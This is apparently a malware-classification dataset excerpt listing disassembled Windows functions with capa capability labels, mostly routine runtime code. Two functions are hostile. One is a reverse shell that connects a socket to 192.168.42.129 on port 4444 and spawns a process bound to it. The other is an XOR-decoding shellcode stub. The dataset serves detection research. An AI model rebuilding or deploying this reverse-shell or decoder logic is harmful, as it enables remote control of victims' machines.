joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000cfd0
Capabilities:
Check if file exists

Disassembly:
mov rax, rsp
push rbp
mov rbp, rsp
sub rsp, 0x80
mov qword [rbp - 0x60], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rdi
mov rax, qword [0x180044360]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rdi, rdx
xor ebx, ebx
mov rax, qword [0x1800450c0]
test rax, rax
jne 0x18000d034
mov ecx, 0x88
call fcn.18001796c
mov qword [rbp - 0x58], rax
test rax, rax
je 0x18000d02a
mov rcx, rax
call fcn.1800073a0
jmp 0x18000d02d
mov rax, rbx
mov qword [0x1800450c0], rax
mov rcx, rax
call fcn.1800074a0
mov qword [rbp - 0x18], 7
mov qword [rbp - 0x20], rbx
mov word [rbp - 0x30], bx
cmp word [rax], 0
jne 0x18000d057
mov r8, rbx
jmp 0x18000d06b
or r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18000d060
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.180002000
nop
mov r8d, 0x12
lea rdx, str.PDZipVirtualCD.exe
lea rcx, [rbp - 0x30]
call fcn.180006450
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 8
cmovae rcx, qword [rbp - 0x30]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x18000d18e
mov qword [rbp - 0x38], 7
mov qword [rbp - 0x40], rbx
mov word [rbp - 0x50], bx
xor r8d, r8d
lea rdx, [0x18003266c]
lea rcx, [rbp - 0x50]
call fcn.180002000
nop
mov r8d, 1
lea rdx, [0x180032c84]
lea rcx, [rbp - 0x50]
call fcn.180002000
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x50]
call fcn.180006320
mov r8d, 9
lea rdx, str.___mount
lea rcx, [rbp - 0x50]
call fcn.180006450
mov r8d, 1
lea rdx, [0x180032c84]
lea rcx, [rbp - 0x50]
call fcn.180006450
cmp word [rdi], 0
je 0x18000d13a
or rbx, 0xffffffffffffffff
nop
inc rbx
cmp word [rdi + rbx*2], 0
jne 0x18000d130
mov r8, rbx
mov rdx, rdi
lea rcx, [rbp - 0x50]
call fcn.180006450
mov r8d, 1
lea rdx, [0x180032c84]
lea rcx, [rbp - 0x50]
call fcn.180006450
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 8
cmovae rcx, qword [rbp - 0x50]
call fcn.180005b00
nop
mov r8, qword [rbp - 0x38]
cmp r8, 8
jb 0x18000d18e
inc r8
mov rdx, qword [rbp - 0x50]
lea rcx, [rbp - 0x50]
call fcn.180002150
nop
mov r8, qword [rbp - 0x18]
cmp r8, 8
jb 0x18000d1a8
inc r8
mov rdx, qword [rbp - 0x30]
lea rcx, [rbp - 0x30]
call fcn.180002150
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.180017a50
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x1800130a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov ecx, dword [rcx + 0x10]
mov r9d, ecx
and r9d, 7
je 0x1800130f5
cmp ecx, r9d
jge 0x1800130eb
mov r10, qword [rbx + 8]
mov rdx, qword [rbx]
mov r8d, dword [rbx + 0x14]
cmp rdx, r10
jb 0x1800130ce
xor eax, eax
jmp 0x1800130d7
movzx eax, byte [rdx]
inc rdx
mov qword [rbx], rdx
shl eax, cl
add ecx, 8
or r8d, eax
mov dword [rbx + 0x10], ecx
mov dword [rbx + 0x14], r8d
cmp ecx, 0x18
jle 0x1800130c5
mov ecx, r9d
shr dword [rbx + 0x14], cl
sub dword [rbx + 0x10], r9d
mov ecx, dword [rbx + 0x10]
xor r9d, r9d
test ecx, ecx
jle 0x18001312e
mov edx, dword [rbx + 0x14]
lea r8, [rsp + 0x30]
nop word [rax + rax]
movzx eax, byte [rbx + 0x14]
inc r9d
shr edx, 8
sub ecx, 8
mov byte [r8], al
lea r8, [r8 + 1]
mov dword [rbx + 0x14], edx
test ecx, ecx
jg 0x180013110
mov dword [rbx + 0x10], ecx
movsxd rdx, r9d
cmp rdx, 4
jge 0x18001315f
mov r8, qword [rbx + 8]
mov rcx, qword [rbx]
nop
cmp rcx, r8
jb 0x180013149
xor eax, eax
jmp 0x180013152
movzx eax, byte [rcx]
inc rcx
mov qword [rbx], rcx
mov byte [rsp + rdx + 0x30], al
inc rdx
cmp rdx, 4
jl 0x180013140
movzx eax, byte [rsp + 0x30]
movzx edx, byte [rsp + 0x31]
movzx ecx, byte [rsp + 0x33]
shl edx, 8
add edx, eax
shl ecx, 8
movzx eax, byte [rsp + 0x32]
add ecx, eax
mov eax, edx
xor eax, 0xffff
cmp ecx, eax
je 0x18001319e
lea rax, str.zlib_corrupt
mov qword [0x180045200], rax
xor eax, eax
add rsp, 0x20
pop rbx
ret
mov rcx, qword [rbx]
mov qword [rsp + 0x38], rdi
mov edi, edx
add rcx, rdi
cmp rcx, qword [rbx + 8]
jbe 0x1800131cc
lea rax, str.read_past_buffer
mov qword [0x180045200], rax
xor eax, eax
mov rdi, qword [rsp + 0x38]
add rsp, 0x20
pop rbx
ret
mov rcx, qword [rbx + 0x18]
add rcx, rdi
cmp rcx, qword [rbx + 0x28]
jbe 0x1800131e5
mov rcx, rbx
call fcn.180010bf0
test eax, eax
je 0x1800131bf
mov rdx, qword [rbx]
mov r8, rdi
mov rcx, qword [rbx + 0x18]
call fcn.1800194b0
add qword [rbx], rdi
mov eax, 1
add qword [rbx + 0x18], rdi
mov rdi, qword [rsp + 0x38]
add rsp, 0x20
pop rbx
ret
Function at 0x1815380ac
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1815380b6
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x1815380df
pop rbp
sub rbp, 0x33
sub rbp, 0x15380ac
cmp edx, 1
je 0x181538122
ldmxcsr dword [rsp]
add rsp, 8
popfq
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rbp
pop rbx
pop rdx
pop rcx
pop rax
xor rax, rax
ret
sub rsp, 0x20
jmp 0x181538132
mov rax, 0x15380ac
add rax, rbp
add rax, 0xb8
mov rcx, 0x60b
mov rdx, 0xffffffffdde9a0bb
xor byte [rax], dl
inc rax
dec rcx
jne 0x181538151
jmp 0x181538168
xor dl, byte [rdx + 0x30]
xor al, byte [rdi - 0xc444445]
cmp bh, byte [rdx - 0x4d]
mov edx, 0xbaf3bbbb
push rdx
jl 0x1815381f9
mov dl, 0xbb
mov ebx, 0x797cf3bb
xchg ebx, eax
mov ebx, 0x4cf3bbbb
pop rcx
mov edx, 0xb73a307a
mov ebx, 0xbaf3bbbb
push rbx
jmp 0x181538185
mov ebx, 0xb93652bb
mov ebx, 0xc653e9bb
mov ebx, 0xece1bbbb
xor ch, byte [rbx + rsi*8 - 0x76]
jb 0x181538202
invalid
mov ch, byte [rcx + 0x38]
push rbx
mov esi, 0xb47344f3
invalid
Function at 0x140001740
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140002580
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140002580
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x1400017b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400070a4]
mov rbx, rcx
test esi, esi
jle 0x1400018e0
mov rax, qword [0x1400070a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400017fb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001885
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400017e0
mov rcx, rbx
call fcn.140002220
mov rdi, rax
test rax, rax
je 0x140001902
mov rax, qword [0x1400070a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002360
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400070a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400018e7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000187e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001890
add dword [0x1400070a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400070a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000187e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001740
nop dword [rax]
xor esi, esi
jmp 0x140001808
mov rax, qword [0x1400070a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001740
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001740
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001e90
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x140001eec
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140001ee3
test eax, eax
jne 0x140001ee3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001ec8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002220
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004380]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002240
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002248
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002240
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000229d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002294
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002240
add rax, 0x28
cmp rax, r9
jne 0x140002280
xor eax, eax
ret

Function at 0x1400022a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004380]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400022bf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400022c8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400022bf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002360
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004380]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000237f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002388
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002760
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
lea rcx, [0x140001440]
jmp 0x140001410
push rdi
sub rsp, 0x60
call fcn.140001530
lea rdx, [0x140003160]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov ecx, 0x115c
mov qword [0x140003140], rax
mov eax, 2
mov word [0x140003080], ax
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.192.168.42.129
mov word [0x140003082], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
xor r9d, r9d
mov r8d, 0x10
mov rcx, qword [0x140003140]
lea rdx, [0x140003080]
mov dword [0x140003084], eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.WS2_32.dll_WSAConnect]
lea r10, [0x1400030c0]
lea r11, [rsp + 0x58]
xor eax, eax
mov rdi, r10
mov ecx, 0xd
mov edx, 7
rep stosq qword [rdi], rax
mov rcx, r11
movabs rax, 0x6c656c2e6b746a
mov dword [0x1400030c0], 0x68
mov qword [rsp + 0x58], rax
mov dword [0x1400030fc], 0x100
call fcn.1400026d0
xor ecx, ecx
mov qword [rsp + 0x40], r10
xor r9d, r9d
movq xmm0, qword [0x140003140]
xor r8d, r8d
mov rdx, r11
lea rax, [0x140003090]
mov qword [rsp + 0x48], rax
movq qword [0x140003120], xmm0
punpcklqdq xmm0, xmm0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
movups xmmword [0x140003110], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
xor ecx, ecx
call sub.msvcrt.dll_exit
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp 0x140001430
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400bb7e0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400bb7f0]
mov dword [rax], 1
mov rax, qword [0x1400bb800]
mov dword [rax], 1
mov rax, qword [0x1400bb7d0]
mov dword [rax], 1
mov rax, qword [0x1400bb680]
cmp word [rax], 0x5a4d
jne 0x140001067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010d0
mov rax, qword [0x1400bb7c0]
mov dword [0x1400e200c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x1400010c0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x1400bb780]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1400bb760]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400baac0]
cmp dword [rax], 1
je 0x140001108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x140001084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001120
cmp dx, 0x20b
jne 0x140001067
cmp dword [rax + 0x84], 0xe
jbe 0x140001067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x140001067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x140001067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x140001067
Function at 0x14000b7d0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x14000b840
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x1400e20b4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x14000b9f0
mov rax, qword [0x1400e20b8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x14000b88c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x14000b917
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x14000b870
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x14000ba4d
mov rax, qword [0x1400e20b8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1400e20b8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000ba32
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000b910
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000b9a0
add dword [0x1400e20b4], 1
cmp ebx, 8
jae 0x14000b948
test bl, 4
jne 0x14000ba00
test ebx, ebx
je 0x14000b939
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x14000ba20
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x14000b939
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x14000b97a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x1400e20b8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000b910
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
xor edi, edi
jmp 0x14000b897
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x14000b939
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x14000b939
mov rax, qword [0x1400e20b8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop dword [rax]
Function at 0x14000bf60
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x1400e2120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400e2100]
test rbx, rbx
je 0x14000bfb4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000bfab
test r12, r12
je 0x14000bfab
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000bf90
lea rcx, [0x1400e2120]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x14000c1e0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
jne 0x14000c1f0
jmp sym._ValidateImageBase.part.0
xor eax, eax
ret

Function at 0x14000c200
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x14000c245
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x14000c23c
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x14000c247
add rax, 0x28
cmp rax, r9
jne 0x14000c228
xor eax, eax
ret

Function at 0x14000c2f0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x1400bb680]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x14000c369
mov rcx, r10
call sym._ValidateImageBase.part.0
test eax, eax
je 0x14000c369
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x14000c366
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x14000c35d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x14000c369
add r8, 0x28
cmp r8, r9
jne 0x14000c348
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x14000c450
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1400bb680]
xor eax, eax
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x14000c4bf
mov rcx, r9
call sym._ValidateImageBase.part.0
test eax, eax
je 0x14000c4bf
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
movzx edx, word [r9 + 6]
lea rax, [r9 + rax + 0x18]
test edx, edx
je 0x14000c4bd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000c4b4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000c4c8
add rax, 0x28
cmp rax, r9
jne 0x14000c4a0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x14000c4e0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x1400bb680]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
jne 0x14000c558
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x14000c558
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x14000c558
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x14000c558
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
mov rcx, r9
cmp rax, r9
jb 0x14000c54c
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x14000c560
add rdx, 0x28
cmp rdx, r10
jne 0x14000c538
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jmp 0x14000c570
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x14000c57e
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000c555
test r8d, r8d
jg 0x14000c568
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret

Function at 0x14000c660
Capabilities:
Allocate thread local storage

Disassembly:
push r12
push rbx
sub rsp, 0x28
mov rbx, rcx
mov r12, rdx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov ecx, eax
cmp eax, 0xffffffff
je 0x14000c690
mov rdx, r12
mov dword [rbx], eax
add rsp, 0x28
pop rbx
pop r12
jmp dbg.__mingwthr_key_dtor
add rsp, 0x28
pop rbx
pop r12
jmp qword [sym.imp.KERNEL32.dll_GetLastError]

Function at 0x14000c6d0
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
sub rsp, 0x28
mov r12d, ecx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, r12d
mov r13d, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, r13d
mov r12, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, r12
add rsp, 0x28
pop r12
pop r13
ret

Function at 0x14000c710
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x14000c728
xor eax, eax
add rsp, 0x28
ret
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_GetLastError]

Function at 0x140017940
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push r12
push rbx
sub rsp, 0x28
mov r12, rcx
lea rcx, str.msvcrt.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.rand_s
mov rcx, rax
call rbx
test rax, rax
je 0x140017988
mov rcx, r12
mov qword [dbg.init_rand_s], rax
add rsp, 0x28
pop rbx
pop r12
jmp rax
lea rcx, str.advapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.SystemFunction036
mov rcx, rax
call rbx
mov qword [0x1400e2ba0], rax
lea rax, [dbg.mingw_rand_s]
jmp 0x14001796f

Function at 0x140019c70
Capabilities:
Read file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov r9, qword [rcx + 0x40]
mov rsi, rdx
mov rbx, rcx
mov edx, 1
mov rcx, rsi
call sym.fread
mov edx, 0xffffffff
test rax, rax
jle 0x140019c9c
movzx edx, byte [rsi + rax - 1]
mov dword [rbx + 0x48], edx
add rsp, 0x28
pop rbx
pop rsi
ret